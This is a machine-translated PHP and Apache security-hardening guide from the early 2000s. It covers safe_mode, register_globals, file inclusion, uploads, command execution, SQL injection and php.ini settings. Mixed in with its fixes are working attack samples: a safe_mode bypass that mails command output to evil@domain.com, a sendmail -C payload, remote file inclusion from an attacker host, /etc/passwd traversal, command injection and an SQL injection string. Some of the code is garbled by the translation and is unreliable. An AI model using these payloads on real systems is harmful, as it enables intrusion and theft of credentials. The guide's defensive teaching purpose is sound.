PHP Security Configuration

Source: Internet
Author: User
Tags error handling execution file copy file upload functions sql server sql mysql
Secure PHP Security Configuration

Date Created: 2001-11-12 update: 2003-08-06
Article Properties: Original
Article Source: http://www.xfocus.net
Article submission: san (san_at_xfocus.org)

Finishing: San
Version: 0.02

Date Created: 2001/11/12
Update Time: 2003/07/21

One, Web server security

PHP is nothing but a Web server module function, so first of all to ensure the security of the Web server. Of course, the Web server to be secure and must first ensure that the system security, so it is far, endless. PHP can be combined with a variety of Web servers, and only Apache is discussed here. It is highly recommended that you start Apache in a chroot way, so that even if the Apache and PHP and its scripts are compromised, it is only the imprisoned system that is affected and does not compromise the actual system. However, the use of Chroot Apache, the application will also bring some trouble, such as the connection to MySQL must use the 127.0.0.1 address using a TCP connection and can not use the localhost socket connection, which will be a little less efficient. There is also the mail function to send mail is also a problem, because in the php.ini:

[Mail Function]
; For Win32.
SMTP = localhost

; For Win32.
Sendmail_from = me@localhost.com

are aimed at the Win32 platform, so need to adjust the chroot environment good sendmail.

Second, the problem of PHP itself

1. Remote Overflow

PHP-4.1.2 all versions below have a file upload remote buffer Overflow vulnerability, and the attack program has been widely circulated, the success rate is very high:

Http://packetstormsecurity.org/0204-exploits/7350fun
Http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2. Remote denial of service

PHP-4.2.0 and PHP-4.2.1 exist PHP multipart/form-data POST request processing remote vulnerabilities, although they do not have local user rights, but can also cause a denial of service.

3, Safe_mode bypass the vulnerability

There are PHP-4.2.2. The PHP mail function bypasses the Safe_mode limit to execute a command vulnerability, and the 4.0.5 Start Mail function adds a fifth parameter, because the designer can break through the Safe_mode restrictions to execute the command. 4.0.5 version of the breakthrough is very simple, just separated by semicolons with the shell command, such as the existence of PHP script evil.php:

? Mail ("Foo@bar," "foo", "Bar", "", $bar);?>

Execute the following URL:

Http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

This sends the result of the ID execution to evil@domain.com.

For 4.0.6 to 4.2.2 PHP breakthrough Safe_mode limit is actually taking advantage of the SendMail-c parameter, so the system must be using SendMail. The following code can break through the Safe_mode limit execution command:

?
# Note that the following two must not exist, or that their owners and scripts are the same
$script = "/tmp/script123";
$CF = "/tmp/cf123";

$FD = fopen ($CF, "w");
Fwrite ($FD, "oq/tmp
Sparse=0
R$* ". Chr (9). "$ #local $@ $: $
MLocal, p=/bin/sh, A=sh $script ");
Fclose ($FD);

$FD = fopen ($script, "w");
Fwrite ($FD, "Rm-f $script $cf;");
Fwrite ($FD, $cmd);
Fclose ($FD);

Mail ("Nobody", "" "," "," ","-C$CF ");
?>

Or use the above problematic version of PHP users must upgrade to the latest version in time, so as to eliminate basic security issues.

Third, PHP's own security configuration

PHP is very flexible and can be set by PHP.ini, httpd.conf,. htaccess files (the directory must have allowoverride all or options), and you can use Ini_set in a script program () and other specific functions to set it up. The Phpinfo () and Get_cfg_var () functions can be used to get the individual values of the configuration options.

If the configuration options are unique Php_ini_system properties, they must be modified by php.ini and httpd.conf, which modifies the master value of PHP, but must be restarted to take effect after modification. Where the php.ini setting option is for all scripts in the Web server to take effect, the option set in httpd.conf is for all scripts in the defined directory to take effect.

If there are other Php_ini_user, Php_ini_perdir, the Php_ini_all property option can use the. htaccess file setting, or you can set it by using the Ini_set () function in the script itself, which modifies the local value. It will take effect immediately after the change. However,. htaccess only takes effect on the script program for the current directory, and the Ini_set () function only sets the code for the Ini_set () function on the script to take effect. The option properties for each version may vary, and you can use the following command to find the Main.c file for the current source code with all the options and its properties:

# grep Php_ini_/php_src/main/main.c

Before discussing PHP security configuration, you should have a good understanding of PHP's Safe_mode mode.

1, Safe_mode

Safe_mode is the only Php_ini_system property that must be set by PHP.ini or httpd.conf. To enable Safe_mode, simply modify the php.ini:

Safe_mode = On

or modify httpd.conf to define the directory:

<Directory/var/www>
Options FollowSymLinks
Php_admin_value Safe_mode 1
</Directory>

After restarting Apache, Safe_mode is in effect. Starting Safe_mode will limit many PHP functions, especially those related to system file opening, command execution, and so on.
The function of all operation files will only operate the same file as the script uid, such as the contents of the test.php script:

<?include ("index.html")?>

The properties of several files are as follows:

# Ls-la
Total 13
Drwxr-xr-x 2 root June 20 01:25.
Drwxr-xr-x Root root 384 June 18 12:02.
-rw-r--r--1 root root 4110 Oct 2002 index.html
-rw-r--r--1 www-data www-data 19:14 test.php

In the browser request test.php will prompt the following error message:

Warning:safe MODE restriction in effect. The script whose uid/gid is 33/33 isn't allowed to access./index.html owned by Uid/gid 0/0 1

If the UID of the directory in which the action file is located is consistent with the script UID, the UID of the file can be accessed even if it is different from the script, whether this is a vulnerability in PHP or something else. So PHP script is the owner of this user is best for this purpose, absolutely prohibit the use of root as a PHP script owner, so that can not achieve the effect of safe_mode.

If you want to loosen it to a GID comparison, open safe_mode_gid to consider comparing only the GID of the file, and you can set the following options:

Safe_mode_gid = On

After the Safe_mode is set, all the functions executed by the command will be limited to execute the program in the php.ini safe_mode_exec_dir specified directory, and the shell_exec, ' ls-l ' way of executing the command will be prohibited. If you do need to invoke another program, you can do the following in php.ini:

Safe_mode_exec_dir =/usr/local/php/exec

Then copy the program to the directory, and the PHP script can use functions like system to execute the program. Also, the shell script in the directory can call system commands in other directories.

Safe_mode_include_dir string
Cross Uid/gid checks when this directory and its subdirectories (directories must be included in include_path or with full paths) include files.

Starting with the PHP 4.2.0, this directive accepts a semicolon-delimited path, not just a directory, from a style similar to the include_path instruction.

The specified limit is actually a prefix, not a directory name. This means that "Safe_mode_include_dir =/DIR/INCL" will allow access to "/dir/include" and "/dir/incls" if they exist. If you want to control access in a specified directory, add a slash at the end, for example: "Safe_mode_include_dir =/dir/incl/".

Safe_mode_allowed_env_vars string
Setting some environment variables may be a potential security breach. This directive contains a comma-delimited list of prefixes. In Safe mode, users can only change the environment variables whose names have the prefixes provided here. By default, users can only set environment variables (such as Php_foo = BAR) that start with Php_.

Note: If this directive is empty, PHP will allow users to modify any environment variables!

Safe_mode_protected_env_vars string
This directive contains a comma-delimited list of environment variables that the end user cannot use Putenv () to change these environment variables. You cannot change these variables even when you have set up permission modifications in Safe_mode_allowed_env_vars.

Although Safe_mode is not a panacea (low version of PHP can be bypassed), it is strongly recommended to open Safe mode to some extent to avoid unknown attacks. However, enabling Safe_mode can have many limitations and may have an impact on the application, so you need to adjust the code and configuration to be harmonious. Functions that are restricted or masked by Safe mode can refer to the PHP manual.

After discussing Safe_mode, the following is a discussion of how to avoid vulnerabilities by configuring the PHP server side, in conjunction with the actual problems that can arise from the program code.

2. Variable abuse

php default register_globals = On, for Get, POST, cookies, environment, session variables can be directly registered as global variables. Their registration order is Variables_order = "Egpcs" (Can be modified by php.ini), with the same name variable variables_order the right side of the overlay to the left, so the misuse of variables is very easy to cause confusion in the program. and scripting programmers often don't have the habit of initializing variables, like the following pieces of a program are extremely vulnerable to attack:

?
file://test_1.php

if ($pass = = "Hello")
$auth = 1;

if ($auth = = 1)
echo "Some important information";
Else
echo "Nothing";
?>

An attacker can bypass the check only with the following request:
Http://victim/test_1.php?auth=1

Although this is a very retarded error, but some well-known programs have made such a mistake, such as Phpnuke remote file copy vulnerability: http://www.securityfocus.com/bid/3361

When PHP-4.1.0 is released, it is recommended to turn off Register_globals and provide 7 special array variables to use the various variables. Variables that come from Get, POST, cookie, etc. are not registered directly as variables and must be accessed through array variables. When PHP-4.2.0 is released, the php.ini default configuration is Register_globals = off. This allows the program to use PHP itself to initialize the default value, generally 0, to avoid the attacker to control the judgment variable.

Workaround:

Configuration file php.ini Set register_globals = off.

The programmer is required to initialize a value at the beginning of the program as a variable of judgment.

3, File Open

Very vulnerable code fragment:

?
file://test_2.php

if (!) ( $str = ReadFile ("$filename"))) {
Echo ("Could not open file: $filename <br>\n");
Exit
}
else {
Echo $str;
}
?>

Because an attacker could specify arbitrary $filename, an attacker could see the/etc/passwd with the following request:

http://victim/test_2.php?filename=/etc/passwd

The following request can read the PHP file itself:

http://victim/test_2.php?filename=test_2.php

PHP File Open function also has fopen (), file (), etc., if the file name variable check is not strict will cause server important files are accessed read.

Workaround:

For special needs, restrict PHP file operations to the Web directory. Here is an example of modifying the Apache configuration file httpd.conf:

<Directory/usr/local/apache/htdocs>
Php_admin_value Open_basedir/usr/local/apache/htdocs
</Directory>

After restarting Apache, the PHP script in the/usr/local/apache/htdocs directory can only manipulate files under its own directory, otherwise PHP will complain:

Warning:open_basedir restriction in effect. The File is in wrong directory in XXX at line xx.

This problem can also be avoided by using the safe_mode pattern, as discussed earlier.

4. Include file

Very vulnerable code fragment:

?
file://test_3.php

if (file_exists ($filename))
Include ("$filename");
?>

This irresponsible code can cause considerable harm by using the following request for an attacker to obtain a/etc/passwd file:

http://victim/test_3.php?filename=/etc/passwd

If the UNIX version of PHP (the win version of PHP does not support remote open files), an attacker could create a file containing a shell command on a machine that has its own HTTP or FTP service, such as the http://attack/attack.txt content. PassThru ("Ls/etc"), the following requests can execute commands on the target host ls/etc:

Http://victim/test_3.php?filename=http://attack/attack.txt

Attackers can even get code to execute commands by including Apache log files Access.log and Error.log, but because of the too much interference information, sometimes it is not easy to succeed.
For another form, the following code fragment:

?
file://test_4.php

Include ("$lib/config.php");
?>

An attacker can create a config.php file on its own host that contains the execution command code, and then execute commands on the target host with the following request:

Http://victim/test_4.php?lib=http://attack

PHP contains functions include (), include_once (), require (), require_once. If you do not check for the containing file name variable, the system poses a serious risk and you can execute commands remotely.

Workaround:

Require the programmer to include the parameters in the file as far as possible not to use variables, if the use of variables, we must strictly check the file name to include, must not be arbitrarily specified by the user.

Restricting the PHP operation path in the previous file opening is a necessary option. Also, be sure to turn off PHP's remote file opening function, if you don't need it specifically. To modify the php.ini file:

Allow_url_fopen = Off

Restart Apache.

5, File Upload

PHP's file upload mechanism is to save the user uploaded files in the php.ini Upload_tmp_dir defined temporary directory (default is the system's temporary directory, such as:/tmp) in a similar phpxxuoxg random temporary file, the program execution ended, the temporary file was also deleted. PHP defines four variables for uploaded files: (for example, the form variable name is file and Register_globals opens)

$file #就是保存到服务器端的临时文件 (e.g./TMP/PHPXXUOXG)
$file _size #上传文件的大小
$file _name #上传文件的原始名称
$file _type #上传文件的类型

Recommended Use:

$HTTP _post_files[' file ' [' Tmp_name ']
$HTTP _post_files[' file ' [' Size ']
$HTTP _post_files[' file ' [' name ']
$HTTP _post_files[' file ' [' type ']

This is one of the simplest file upload codes:

?
file://test_5.php

if (Isset ($upload) && $file!= "None") {
Copy ($file, "/usr/local/apache/htdocs/upload/". $file _name);
echo "File". $file _name. " Upload success! Click <a href=\ "$PHP _self\" > Continue to upload </a> ";
Exit
}
?>
<title> File Upload </title>
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<body bgcolor= "#FFFFFF" >
<form enctype= "Multipart/form-data" method= "POST" >
Upload file:
<input type= "File" name= "file" size= ">"
<input type= "Submit" name= "Upload" value= "upload" >
</form>
</body>

Such uploading code has significant problems reading arbitrary files and executing commands.
The following request can copy the/etc/passwd document to the Web directory/usr/local/apache/htdocs/test (Note: This directory must be nobody writable) under Attack.txt file:

Http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

You can then read the password file with the following request:

Http://victim/test/attack.txt

An attacker could copy a PHP file into another extension, revealing the source code of the script.
An attacker can customize the value of a file_name variable in a form and upload files that overwrite any write permissions.
An attacker could also upload a PHP script to execute a host command.

Workaround:

PHP-4.0.3 later provides the is_uploaded_file and Move_uploaded_file functions to check whether the file is uploaded by the user, thereby avoiding copying the system files to the Web directory.
Use the $http_post_files array to read the file variables uploaded by the user.
Check the upload variables Strictly. For example, PHP script files are not allowed.

Restricting PHP script operations to web directories prevents programmers from using the copy function to copy system files to a web directory. Move_uploaded_file is not limited by open_basedir, so you do not have to modify the Upload_tmp_dir values in php.ini.
The PHP script is encrypted with Phpencode to avoid leaking source code because of the copy operation.
Strict configuration files and directory permissions, only allow the uploaded directory to allow nobody users to write.
For the upload directory to remove the PHP interpretation function, you can modify the httpd.conf implementation:

<Directory/usr/local/apache/htdocs/upload>
Php_flag engine off
#如果是php3换成php3_engine off
</Directory>

Restart the Apache,upload directory of PHP files can not be explained by Apache, even upload the php file is not a problem, can only directly display the source code.

6. Order Execution

The following code fragment is taken from the Phpnettoolpack, detailed description see:

http://www.securityfocus.com/bid/4303

?
file://test_6.php

System ("Traceroute $a _query", $ret _strs);
?>

Because the program does not filter the $a_query variable, an attacker can append the execution command with a semicolon.

An attacker can execute the CAT/ETC/PASSWD command by entering the following request:

http://victim/test_6.php?a_query=www.example.com;cat/etc/passwd

PHP's command execution function also has system (), PassThru (), Popen () and "". Command execution functions are dangerous and cautious. Be sure to check user input strictly if you want to use it.

Workaround:

The programmer is required to use the Escapeshellcmd () function to filter the shell commands entered by the user.

Enabling Safe_mode can eliminate many execution commands, but be aware that PHP's version must be up to date, and less than PHP-4.2.2 may bypass Safe_mode restrictions to execute commands.

7, Sql_inject

The following SQL statement has a problem if the variable is not processed:

SELECT * FROM login where user= ' $user ' and pass= ' $pass '

An attacker can enter a username and password of 1 ' or 1 = ' 1 to bypass authentication.

Fortunately, however, PHP has a default option MAGIC_QUOTES_GPC = ON, which automatically adds Addslashes () to the variables from Get, POST, and Cookie. The above SQL statement becomes:

SELECT * FROM login where user= ' 1\ ' or 1=\ ' 1 ' and pass= ' 1\ ' or 1=\ ' 1 '

Thus avoiding this kind of sql_inject attack.

For fields of numeric types, many programmers write this:

SELECT * FROM Test where id= $id

Because the variables are not amplified in single quotes, they can cause sql_inject attacks. Thanks to the simplicity of MySQL, there is no SQL Server database that executes commands, and PHP's mysql_query () function only allows you to execute an SQL statement, so an attack that separates multiple SQL statements with semicolons doesn't work. But the attacker can at least make the query statement error, leak some information about the system, or something unexpected.

Workaround:

Programmers are required to filter the variables submitted by all users to the SQL statements.
Even in fields of numeric types, variables are expanded in single quotes, and MySQL itself handles strings as numbers.
In MySQL do not give the PHP program high level permissions of users, only allow their own library to operate, which also avoids the problem of the program is SELECT into outfile ... This attack.

8. Warning and error message

PHP Displays all warnings and error messages by default:

error_reporting = E_all & ~e_notice
Display_errors = On

This is useful when developing debugging, and you can find the error of the program immediately based on the warning message.
When formally applied, warnings and error messages overwhelmed the user and gave the attacker the physical path where the script was located, providing favorable information for further attacks by the attacker. And because they do not have access to the wrong place, but can not modify the program in time error. So it's wise to log all of the warnings and error messages in PHP to a file that doesn't leak the physical path to the attacker and lets you know where the bug is.

Modify the contents of the error handling and Logging section in PHP.ini:

error_reporting = E_all
Display_errors = Off
Log_errors = On
Error_log =/usr/local/apache/logs/php_error.log

Then restart Apache, noting that file/usr/local/apache/logs/php_error.log must be available for nobody users to write.

9, Disable_functions

If you feel that some of the functions are still a threat, you can set the disable_functions in the php.ini (this option is not set in httpd.conf), such as:

Disable_functions = Phpinfo, Get_cfg_var

You can specify more than one function, separated by commas. After restarting Apache, phpinfo, the Get_cfg_var function is banned. It is recommended to turn off functions Phpinfo, Get_cfg_var, which are easy to leak server information and are of no practical use.

10, Disable_classes

This option is available from PHP-4.3.2, and it can disable certain classes if there are multiple comma-separated class names. Disable_classes can also not be set in httpd.conf and can only be modified in php.ini configuration file.

11, Open_basedir

The previous analysis routines also mentioned several times to use Open_basedir to limit the script operation path, and here is a brief description of its characteristics. The limit specified with Open_basedir is actually a prefix, not a directory name. That is to say, "Open_basedir =/dir/incl" will also allow access to "/dir/include" and "/dir/incls" if they exist. If you want to restrict access to only the specified directory, end the path name with a slash. For example: "Open_basedir =/dir/incl/".
You can set up multiple directories, and in Windows, separate the directories with semicolons. Separate the directories with colons in any other system. As an Apache module, the Open_basedir path in the parent directory is automatically inherited.

Iv. Other security configurations

1, cancellation of other users of common, important system commands read and write execution rights

General Administrator maintenance requires only one ordinary user and management user, in addition to these two users, the less the things that can be performed and accessed by other users, the more likely it is that removing other users ' ability to read and write to common, important system commands can be confusing to attackers when a program or service is compromised. Remember to be sure to read the permissions also removed, otherwise in Linux can be used/lib/ld-linux.so.2/bin/ls this way to execute.
If you want to cancel a path if it is in the chroot environment, this work is easier to achieve, otherwise, this work is still some challenges. Because canceling some of the program's execution permissions can cause some services to run abnormally. PHP mail functions need to/bin/sh to invoke SendMail letter, so/bin/bash execution permissions can not be removed. It's a very tiring job,

2, remove the Apache log other users Read permission

Apache's Access-log provides the door to some programs that appear to contain vulnerabilities locally. By submitting a URL that contains PHP code, you can make access-log include PHP code, then point the containing file to Access-log to execute those PHP code and gain local access.
If you have other virtual hosts, you should also remove the Read permissions for other users of the log file.

Of course, if you follow the configuration described earlier in PHP, then generally can not read the log file.



Related Article

Alibaba Cloud 10 Year Anniversary

With You, We are Shaping a Digital World, 2009-2019

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.